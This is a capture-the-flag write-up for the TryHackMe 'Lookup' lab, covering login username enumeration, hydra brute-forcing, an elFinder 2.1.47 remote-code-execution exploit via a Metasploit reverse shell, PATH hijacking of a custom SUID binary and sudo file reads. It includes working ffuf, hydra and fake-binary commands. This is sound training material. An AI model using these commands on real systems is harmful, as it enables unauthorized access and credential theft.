# TryHackeMe Writeup: Lookup

A web-based challenge covering username enumeration, credential brute-forcing, a known CVE in a file manager, and SUID binary abuse for privilege escalation.

**Room url**: <https://tryhackme.com/room/lookup/>

## Recon

Starting with an nmap scan. Only two ports are open:

```bash
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

A gobuster scan on the web server doesn't reveal much beyond `index.php` and `login.php`:

```bash
$ gobuster dir -u http://lookup.thm -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt,bak,zip
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://lookup.thm
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.8.2
[+] Extensions:              php,html,txt,bak,zip
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
index.php            (Status: 200) [Size: 719]
login.php            (Status: 200) [Size: 1]
Progress: 43876 / 1323354 (3.32%)
```

---

## Enumeration

The login page:

![](https://cdn.hashnode.com/uploads/covers/6ad853adeaab421c899235b0/38492c13-3d41-4574-9868-9f08aa683fe8.png align="center")

The login form has a subtle but critical flaw : it returns **different error messages** depending on whether the username exists.

Entering `hahaha` / `hahaha` (invalid user):

![](https://cdn.hashnode.com/uploads/covers/6ad853adeaab421c899235b0/7e2bc82f-34cc-4efe-a6b5-449576d92dad.png align="center")

Entering `admin` / `pass` (valid user, wrong password):

![](https://cdn.hashnode.com/uploads/covers/6ad853adeaab421c899235b0/d7206650-462e-45a3-ad6c-422f99a5eeb1.png align="center")

Two distinct responses : the error message leaks whether a username is valid:

- Valid username, wrong password → `"Wrong password"`
- Wrong username (any password) → `"Wrong username or password"`

---

## Exploitation

### Username Enumeration

Now that `admin` is confirmed valid, a hydra run with rockyou finds `admin : password123` ; but entering those creds still returns `"Wrong username or password"`. Suspicious.

The behaviour maps out as:

- Correct username, wrong password → `"Wrong password"`
- Wrong username, correct/wrong password → `"Wrong username or password"`

So the brute was matching on the wrong error string. Flipping the approach: keep a dummy password and fuzz the **username** instead using `ffuf`, filtering out the `"Wrong username or password"` response:

```bash
$ ffuf -w /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt \
  -u http://lookup.thm/login.php \
  -X POST \
  -d 'username=FUZZ&password=wrongpassword' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -mc all \
  -fr 'Wrong username or password'

admin                   [Status: 200, Size: 62, Words: 8, Lines: 1, Duration: 118ms]
jose                    [Status: 200, Size: 62, Words: 8, Lines: 1, Duration: 83ms]
```

Two valid usernames: **admin** and **jose**.

#### Credential Brute-Force

Bruting `admin` runs indefinitely so it's likely a very complex password. Trying `jose` with hydra:

```bash
$ hydra -l jose -P /usr/share/wordlists/rockyou.txt lookup.thm http-post-form "/login.php:username=^USER^&password=^PASS^:Wrong"

[80][http-post-form] host: lookup.thm   login: jose   password: password123
1 of 1 target successfully completed, 1 valid password found
```

`jose : password123` and this one actually works.

#### Foothold via elFinder RCE

Logging in redirects to `files.<ip-address>`. After adding it to `/etc/hosts`, the app redirects to:

```plaintext
http://files.lookup.thm/elFinder/elfinder.html
```

![](https://cdn.hashnode.com/uploads/covers/6ad853adeaab421c899235b0/125fa141-fead-4534-85ab-d3b7b5ea5736.png align="center")

The elFinder version is confirmed as **2.1.47** from

<http://files.lookup.thm/elFinder/js/elfinder.min.js>

Searchsploit turns up two relevant exploits:

![](https://cdn.hashnode.com/uploads/covers/6ad853adeaab421c899235b0/839becf2-d334-4962-9c7c-b43cfa446b01.png align="center")

Using the Metasploit reverse shell module with `RHOSTS` set:

![](https://cdn.hashnode.com/uploads/covers/6ad853adeaab421c899235b0/efb625e8-adaf-46fe-b50c-4c4d1527433b.png align="center")

The session kept dying with:

```bash
[*] 10.48.183.120 - Meterpreter session 8 closed.  Reason: Died
[+] Deleted uploaded file
[!] This exploit may require manual cleanup of '.2mhSqO.php' on the target
[*] Exploit completed, but no session was created.
```

After ~3 hours of debugging, two fixes:

1. **Verify** `LHOST` : Run `ip route get <victim-machine-ip>` to confirm which interface IP is used to reach the target. That is the correct `LHOST`.
2. **Switch the payload** : Use `set payload php/reverse_php` (or browse `show payloads` and pick an alternative). This is what ultimately worked.

Shell lands as `www-data`. A look at `/etc/passwd` shows three users with bash: `root`, `think`, and `ubuntu`

### Lateral Movement : Abusing a Custom SUID Binary

Browsing through the system we find a `user.txt` under `/home/think` but we dont have permissions to read it because we are `www-data`

Searching for SUID binaries turns up something non-standard:

```bash
find / -perm -u=s -type f 2>/dev/null
...
/usr/sbin/pwm
```

Running it:

```bash
pwm
[!] Running 'id' command to extract the username and user ID (UID)
[!] ID: www-data
[-] File /home/www-data/.passwords not found
```

The binary calls `id`, parses the username from the output, and reads `/home/<username>/.passwords`. Since it calls `id` without an absolute path, this is a classic **PATH hijacking** vulnerability.

Creating a fake `id` binary in `/tmp` that impersonates `think`:

```bash
cd /tmp
printf '#!/bin/bash\necho "uid=33(think) gid=33(think) groups=33(think)"\n' > id
chmod +x id
export PATH=/tmp:$PATH
```

When `PATH` is prepended with `/tmp`, the system finds the fake `id` there first before checking the real binary. Running `pwm` again now dumps the contents of `/home/think/.passwords`:

![](https://cdn.hashnode.com/uploads/covers/6ad853adeaab421c899235b0/6a584d80-006c-4a5d-9941-5a7582576f15.png align="center")

![](https://cdn.hashnode.com/uploads/covers/6ad853adeaab421c899235b0/a56374ec-333c-4ae5-93bb-7ccd012eb8dd.png align="center")

Using that as the password list for SSH:

```bash
$ hydra -l think -P jose_passwords.txt lookup.thm ssh

[22][ssh] host: lookup.thm   login: think   password: josemario.AKA(think)
1 of 1 target successfully completed, 1 valid password found
```

SSH in and grab the **user flag**:

![](https://cdn.hashnode.com/uploads/covers/6ad853adeaab421c899235b0/b685f623-999d-4456-ac14-3465d78eab72.png align="center")

### Root Flag

As `think`, checking sudo permissions:

![](https://cdn.hashnode.com/uploads/covers/6ad853adeaab421c899235b0/72723df0-1554-4849-8632-ec267889c95b.png align="center")

`look` is a file-reading utility; with sudo, it can read any file on the system.(gtfobins)

![](https://cdn.hashnode.com/uploads/covers/6ad853adeaab421c899235b0/87c101a2-d022-45cc-84fa-e4e563a57943.png align="center")

Using it directly against the root flag:

![](https://cdn.hashnode.com/uploads/covers/6ad853adeaab421c899235b0/ce1966b1-f1f9-4783-8b74-5d6afb9673a8.png align="center")

Root flag captured ; no full shell escalation required.

---

### Key Takeaways

- **Differing error messages** on login forms leak valid usernames are always worth probing both a known-bad username and a suspected valid one to compare responses.
- **PATH hijacking** is highly effective when a SUID binary calls system commands by name rather than absolute path ; placing a fake binary earlier in `$PATH` redirects execution entirely.
- The `look` utility with sudo rights is a straightforward file-read primitive always cross-reference sudo-allowed binaries against GTFOBins.
